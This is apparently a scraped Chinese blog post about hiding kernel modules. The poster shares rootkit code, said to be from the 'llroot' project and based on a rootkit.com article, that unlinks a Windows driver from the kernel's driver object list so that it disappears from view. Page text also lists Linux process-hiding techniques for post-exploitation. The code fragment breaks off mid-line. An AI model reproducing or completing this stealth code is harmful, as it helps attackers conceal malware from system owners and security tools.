隐藏内核模块的方法

关注

VIP免费原创最新推荐文章于 2026-04-25 09:45:22 发布 2.1k 阅读 AI 写同款· GEO 优化 ›

（渗透测试后期）Linux进程隐藏详解文章目录（渗透测试后期）Linux进程隐藏详解前言Linux进程基础Linux进程侦查手段Linux进程隐藏手段一、基于用户态的进程隐藏方法1：小隐隐于/proc/pid——劫持readdir系统调用额外：加载至arm方法2：小隐隐于/proc/pid——mount 挂载二、基于内核态的进程隐藏方法3：大隐隐于内核——修改内核源码+系统调用方法4：大隐隐于内核——修改内核源码proc_pid_lookup方法5：大隐隐于内核——编写驱动/内核模块——LKM实现进程隐藏总结（渗透测试后期）Linux进程隐藏阅读详情

 
 
  
  在rootkit.com上一个russian hacker发的文章中提到这两种方法,和他交流了下,在llroot中实现了,代码贴出来灌水:
 
 
 
 
  
  /******************************************************************************
**
** 
The following routines implement hide driver by removing module from 
** 
driver objects and device 
objects
**
*******************************************************************************/
void 
RemoveModuleFromDriverObjects(void)
{
 POBJECT_TYPE 
DriverType=*IoDriverObjectType;
 PLIST_ENTRY 
e_prev,e_next,entry0,entry1;
 PDRIVER_OBJECT obj;
 PUNICODE_STRING 
punistrDriverName;
 PANSI_STRING pstrDriverName;
 NTSTATUS 
ntStatus;
 ULONG 
d_size;
 
 
 entry0=DriverType->ObjectListHead.Flink;
 entry1=entry0;
 punistrDriverName=(PUNICODE_STRING) 
ExAllocatePool(PagedPool, sizeof(UNICODE_STRING)+(sizeof(WCHAR)*1024));
 if 
(punistrDriverName == NULL)
 {
  Dbg